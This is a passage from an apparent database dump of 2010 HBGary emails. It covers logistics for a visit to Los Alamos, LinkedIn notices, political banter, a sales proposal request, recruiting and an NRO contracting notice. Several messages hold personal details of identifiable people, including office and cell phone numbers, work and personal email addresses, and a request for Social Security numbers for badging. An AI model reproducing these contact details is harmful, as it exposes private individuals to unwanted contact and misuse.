to Jerry.\r\n\r\n&nbsp;\r\n\r\nSusie,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, David A \r\nSent: Monday, August 16, 2010 8:28 AM\r\nTo: Jerry McClure; ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com; Ira Entis; Trujillo, Susie G;\r\nVigil-Sandoval, Joyce S; Wight, Richard Lee; Grimm-Fogle, Gayla; Lopez, Leon M;\r\nMartinez, Timmy L\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is the form, Address,\r\ndirections, and contacts.\r\n\r\n&nbsp;\r\n\r\nFly into Albuquerque NM. It is\r\nalso possible to fly into Santa Fe, NM, which about 1 hour closer.\r\n\r\nFrom Albuquerque (ABQ), about\r\n2 hrs.:\r\n\r\nFrom ABQ Airport take Sunport\r\nto I-25\r\n\r\nGet on I-25 N to Santa Fe\r\n\r\nTurn North onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to\r\nPojoaque, NM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\nFrom Santa Fe, about 1 hour\r\n\r\nTake Airport Rd to NM 599\r\nRelief Route\r\n\r\nTurn Left onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to\r\nPojoaque, NM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWork sites include (map blast\r\nworthy):\r\n\r\nShaw Building (this is where I\r\nsit)\r\n\r\n335 Central Park Square\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nTRK (this is where testing\r\nwill be done)\r\n\r\n195 East Rd., Suite 103\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nContacts:\r\n\r\nDavid Taylor (IT)\r\n\r\n505 667 6884 Office\r\n\r\n505 231 7489 Cell\r\n\r\n505 665 2502 Fax\r\n\r\n&nbsp;\r\n\r\nTom Tran (DBA)\r\n\r\n505 665 0734 Office\r\n\r\n&nbsp;\r\n\r\nJim Gore (Sys Admin)\r\n\r\n505 665 5850 Office\r\n\r\n&nbsp;\r\n\r\nShaw Office (IT Off)\r\n\r\nSuzie Trujillo\r\n\r\n505 655 3310\r\n\r\n&nbsp;\r\n\r\nTRK Office\r\n\r\nJoyce Vigil-Sandoval (DBA Off)\r\n505 655 1407\r\n\r\nGala Grimm-Fogle (Sys Admin Off)\r\n505 665 5779\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jerry McClure\r\n[mailto:Jerry.McClure@agilex.com] \r\nSent: Sunday, August 15, 2010 7:54 AM\r\nTo: Taylor, David A; ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com; Ira Entis; Trujillo, Susie G\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid - need you\r\nto send the form you mention below.&nbsp; Also can you send the hotel\r\ninformation, airport to fly into, and address of the facility they are to\r\nreport to on Monday 8/23 morning.&nbsp; I could not find this information that\r\nSree used.&nbsp; This way&nbsp;HbGary can make their reservations.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed - The start\r\ndate&nbsp;everyone is&nbsp;shooting for is Monday 8/23 which means your team\r\nflies in Sunday evening.&nbsp; Below is information your team needs to send\r\nto&nbsp;Susie (cced) and other information you&nbsp;should be aware\r\nof.&nbsp;&nbsp;David will send the form for the laptop and information\r\nrequested above.&nbsp; We felt it would be wise to have a telecom on Thursday\r\n8/19 with LANL, your team, and myself to discuss last minute details.&nbsp;\r\nRight now we have 3pm EST&nbsp;on Thursday 8/19 for the telecom.&nbsp; Let me\r\nknow if this works for you and I will set up a telecom number for everyone to\r\ndial into.&nbsp; Let me know if there is anything else you need to make 8/23\r\nhappen.Thanks&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor,\r\nDavid A [dataylor@lanl.gov]\r\nSent: Thursday, August 12, 2010 7:02 PM\r\nTo: Jerry McClure\r\nCc: Ira Entis; Trujillo, Susie G\r\nSubject: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is a form that each of\r\nthe HBGary guys will need to fill out to bring their laptops in to use to\r\ncollect notes.\r\n\r\nPlease note that the logic on the\r\n4 questions for &#8220;PED user must respond to the following statements&#8221;\r\nbelow name stuff is very backwards.\r\n\r\nA PED is the laptop.\r\n\r\nThey will need the make, model\r\nnumber, and serial number on the description of it.\r\n\r\nThey will need to sign it.\r\n\r\nWe will enter the location.\r\n\r\n&nbsp;\r\n\r\nFor badging:\r\n\r\nI will need name, Birthdates,\r\naddress, phone number and Social Security Number.\r\n\r\nThis can go directly to Suzie, she\r\nis CC&#8217;d.\r\n\r\nAs they are US citizens, they will\r\nonly need their driver lic. When they go to get badged.\r\n\r\n&nbsp;\r\n\r\nI will make set up a meeting time\r\nfor Thursday to conference call.\r\n\r\nI would like you to provide a\r\nconference call number, it would save me some trouble.\r\n\r\n&nbsp;\r\n\r\nYou should just use the info on\r\nlodging and directions we gave Shree.\r\n\r\nI am assuming they would arrive up\r\nhere on 8/23/10 at 8:00AM.\r\n\r\nThey should find me, and I will\r\nhelp them get badged and then take them over to TRK (where they will work).\r\n\r\nI can reached at my desk at that\r\ntime, but will have my cell on for them.\r\n\r\n&nbsp;\r\n\r\nThanks for your help.\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884 Off\r\n\r\n505-231-7489 Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4949,'aaron_hbgary_com/4949.html'),(10454,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008129.M702883P14101Q5309.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Lixin has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Lixin are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Lixin Li \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Lead Research Engineer at BAE Systems\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Lixin\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          nathanleee@yahoo.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Lixin\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     BAE Systems, Inc.\r\n                    \r\n                      Lixin works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Global InfoTek, Inc.\r\n                    \r\n                      Lixin worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     MicroStrategy\r\n                    \r\n                      Lixin worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     CACI International Inc\r\n                    \r\n                      Lixin knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12883,'aaron_hbgary_com/12883.html'),(10455,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008129.M943660P14101Q5310.eml','\"David Etue\" <david@etue.net>','Re: Follow up','Please tell him to stop by the booth at gfirst.  I&#39;ll call u later.Sent from my iPhoneOn Aug 17, 2010, at 11:50 AM, David Etue &lt;david@etue.net&gt; wrote:\r\n\r\n\r\n    Let me know if you want an intro.\r\n    \r\n    -------- Original Message --------\r\n    \r\n      \r\n        \r\n          Subject: \r\n          Follow up\r\n        \r\n        \r\n          Date: \r\n          Tue, 17 Aug 2010 11:21:11 -0400\r\n        \r\n        \r\n          From: \r\n          Arun Sood &lt;asood@cs.gmu.edu&gt;\r\n        \r\n        \r\n          To: \r\n          David Etue &lt;david@etue.net&gt;,\r\n            timothy@sullivanville.com\r\n        \r\n      \r\n    \r\n    \r\n    \r\n      Hi David,\r\n\r\nI am off to San Antonio - GFIRST. If you know of folks \r\nattending GFIRST and you think I should meet them, please do \r\nsend an intro.  I am there till 1 pm on Thursday.  Also, I \r\nwould appreciate an intro to executive(s) at H B Gary.  Our \r\ndiscussion about the scope of Net Witness, Fidelis, HB Gary \r\nand its influence on SCIT continues to intrigue me.\r\n\r\nWith best regards,\r\narun\r\n-- \r\nDr Arun Sood\r\nProfessor(Computer Science) { cs.gmu.edu/~asood/ }\r\nCo-Director, International Cyber Center { \r\nwww.internationalcybercenter.org }\r\nMail Stop 4A5, George Mason University, Fairfax, VA 22030\r\n703.993.1524(direct),703.993.1530(office),703.993.1710(fax)\r\nasood@gmu.edu\r\nhttp://cs.gmu.edu/~asood/scit\r\n\r\n\r\n  \r\n\r\n\r\n',7086,'aaron_hbgary_com/7086.html'),(10456,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008130.M149023P14101Q5311.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Obama, the one-term president - Roger Simon - POLITICO.com','No actually we are of the same opinion.  Obama is saying listen it\'s\r\nnot our place to tell them they can\'t build.  But he is chastised by a\r\nbunch of hypocrites who espouse American values and them toss them in\r\nthe trash.  The person in the article says Obama doesn\'t get it he\r\nneeds to be working for his second term.  Since when did that become\r\nthe accepted practice for a president! Or any politician!  I knew this\r\nto be true but to see it so blatantly discussed as it there is nothing\r\nabnormal with the concept is infuriating.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 17, 2010, at 12:47 PM, Ted Vera  wrote:\r\n\r\n> You shouldn\'t have chose a side on this one.  Blunder...\r\n>\r\n> On Tue, Aug 17, 2010 at 6:29 AM, Aaron Barr  wrote:\r\n>> Do either of you see the insanity. Not in the president but in the view that\r\n>> seems to be accepted on politics?!  This person says these things as if\r\n>> their is absolutely nothing wrong with the words coming accross the paper.\r\n>>  This is just fact, like gravity.  I knew that deep inside politicians\r\n>> thought it but didn\'t know they were so delusioned they are willing to speak\r\n>> it so casually.\r\n>>\r\n>> Wow.\r\n>> Obama, the one-term president - Roger Simon - POLITICO.com\r\n>>\r\n>>\r\n>> Sent from my iPad\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',5835,'aaron_hbgary_com/5835.html'),(10457,'2010-08-17','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008130.M353794P14101Q5312.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Obama, the one-term president - Roger Simon - POLITICO.com','It happened about the time that it became the goal to leave a legacy and discussing what history will think of you.  Who gives a shit about that! You should feel a greater pull to do what is right for the people right now and into the future! Not worrying about if you&#39;ll be remembered and people liked you.  You&#39;re the fucking president of the United States!  But people wouldn&#39;t vote for that guy or at least that&#39;s what the polls show.\r\nOn Tue, Aug 17, 2010 at 11:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNo actually we are of the same opinion.  Obama is saying listen it&#39;s\r\nnot our place to tell them they can&#39;t build.  But he is chastised by a\r\nbunch of hypocrites who espouse American values and them toss them in\r\nthe trash.  The person in the article says Obama doesn&#39;t get it he\r\nneeds to be working for his second term.  Since when did that become\r\nthe accepted practice for a president! Or any politician!  I knew this\r\nto be true but to see it so blatantly discussed as it there is nothing\r\nabnormal with the concept is infuriating.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 17, 2010, at 12:47 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n&gt; You shouldn&#39;t have chose a side on this one.  Blunder...\r\n&gt;\r\n&gt; On Tue, Aug 17, 2010 at 6:29 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n&gt;&gt; Do either of you see the insanity. Not in the president but in the view that\r\n&gt;&gt; seems to be accepted on politics?!  This person says these things as if\r\n&gt;&gt; their is absolutely nothing wrong with the words coming accross the paper.\r\n&gt;&gt;  This is just fact, like gravity.  I knew that deep inside politicians\r\n&gt;&gt; thought it but didn&#39;t know they were so delusioned they are willing to speak\r\n&gt;&gt; it so casually.\r\n&gt;&gt;\r\n&gt;&gt; Wow.\r\n&gt;&gt; Obama, the one-term president - Roger Simon - POLITICO.com\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Sent from my iPad\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt; www.hbgary.com  |  ted@hbgary.com\r\n\r\n',4453,'aaron_hbgary_com/4453.html'),(10458,'2010-08-17','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008130.M577914P14101Q5313.eml','\"Taylor, David A\" <dataylor@lanl.gov>,mark@hbgary.com,aaron@hbgary.com,\"Martinez, Timmy L\" <tlmtz@lanl.gov>','LANL / HbGary / Agilex telecom','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, August 19, 2010 3:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Telecom (763) 488-9407&nbsp; conference code 7038893785\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nThis telecom is for LANL and HbGary to have final discussions on whats needed in preparation for HbGary coming out on Monday 8/23 (Fly out Sunday night).\r\n&nbsp;\r\nDavid Taylor – I don’t know who on your side should attend so I will leave this up to you to pass this on.&nbsp; Thanks \r\n&nbsp;\r\nDial (763) 488-9407&nbsp; Conference Code 7038893785\r\n&nbsp;\r\n\r\n\r\n\r\n',12515,'aaron_hbgary_com/12515.html'),(10459,'2010-08-17','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008130.M792617P14101Q5314.eml','\"William Luti\" <wluti@digitalmanagement.com>,\"Aaron Barr\" <aaron@hbgary.com>','Aaron...checking in on your recruiting efforts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAnd luck today???\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13249,'aaron_hbgary_com/13249.html'),(10460,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008131.M2011P14101Q5315.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Kessara has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Kessara are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Kessara Leake-Campbell \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Intelligence Analyst at U.S. Government\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Kessara\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Defense &amp; Space Industry \r\n                        \r\n                        \r\n                          tk.leake.campbell@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Kessara\'s Connections (240) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Andrew Kraft\r\n                ,\r\n                  SVP, Technology Sales &amp; Client Services\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Kilsharion Kinsey\r\n                ,\r\n                  Sr. DVT Engineer at QLogic\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jennifer Demmert Hardwick\r\n                ,\r\n                  Independent Security Consultant\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Chris G.\r\n                ,\r\n                  Prinicipal Recruiter at General Dynamics\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Kessara\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Booz Allen Hamilton\r\n                    \r\n                      Kessara worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Defense Group Inc\r\n                    \r\n                      Kessara worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Deloitte\r\n                    \r\n                      Kessara knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Deloitte Consulting\r\n                    \r\n                      Kessara knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12325,'aaron_hbgary_com/12325.html'),(10461,'2010-08-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008131.M256328P14101Q5316.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: I need help','That\'s great Maria.  Mark and I will do anything we can to help.  As\r\nyou mentioned, we\'re close to the customer, so we could help with\r\ninstall, etc..  Let us know how we can assist.\r\n\r\nTed\r\n\r\nOn Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas  wrote:\r\n> DigitalGlobe needs a proposal that includes:\r\n>\r\n> 1 Active Defense 1,000 endpoints\r\n>\r\n> 2. Training  / Installation  / Server Requirements etc\r\n>\r\n> -- the goal is when we leave they will be white listed, trained on the\r\n> software and have scanned the network and learned how to do triage\r\n>\r\n> 3. Pricing for services: RE and IDS signatures and Inoculations\r\n>\r\n> We can\'t just sell them the software we need to sell them the solution and\r\n> they have UNIX boxes that they are concerned about so some network\r\n> monitoring and IDS should be recommended as well...  Rich mentioned\r\n> Netwitness freeware, and IDS etc.  They are contacting Ted for the End Games\r\n> service.\r\n>\r\n> So Mike/Phil you should help on what training they need\r\n>\r\n> Joe you should help on what time is required to install and white list and\r\n> get the basics accomplished.\r\n>\r\n> This is where I don\'t understand what is SE and what is Services work....\r\n> fyi Ted lives in the area...\r\n>\r\n> Also, do they need to buy Responder Pro?  They are thinking to buy it next\r\n> year and get trained on it then.  Do they need some Responder Pro experience\r\n> for Triage?\r\n>\r\n> I really need help tomorrow and to get this out ASAP\r\n>\r\n> Maria\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15718,'aaron_hbgary_com/15718.html'),(10462,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008131.M475569P14101Q5317.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Aaron...checking in on your recruiting efforts','I stayed up late last night reaching out, making new connections. &nbsp;I am still in process, nothing firmed yet. &nbsp;Getting by tomorrow will be tough, but I am working it hard.AaronOn Aug 17, 2010, at 2:13 PM, John Fanguy wrote:And luck today???&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',8358,'aaron_hbgary_com/8358.html'),(10463,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008131.M721457P14101Q5318.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','\"DHS\" Guy','Hey Tim,\r\n\r\nWhat was that guys name again?\r\n\r\nLoved the conversation today.  Always impressed by what you guys are doing on the targeting/MOE side.\r\n\r\nAaron',16530,'aaron_hbgary_com/16530.html'),(10464,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008131.M987741P14101Q5319.eml','geneste_philip@bah.com','Introduction','Hi Philip,\r\n\r\nWe met briefly at Blackhat.  I am writing to see if your interested in talking about potential future employment opportunities. I have a variety of positions opening up and you are in a skill set area I am looking for.  We are doing some very interesting work in the areas of threat intelligence, incident response, and information operations.  We are not about the same old models but improving capabilities in these areas.\r\n\r\nThanks for your consideration.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478',16579,'aaron_hbgary_com/16579.html'),(10465,'2010-08-17','arc@westfields.net','/aaron@hbgary.com/new/1297008132.M202136P14101Q5320.eml','federal@hbgary.com','COMM Sole Source Business Opportunity Posting','\r\nThe NRO/COMM Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPAF. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; 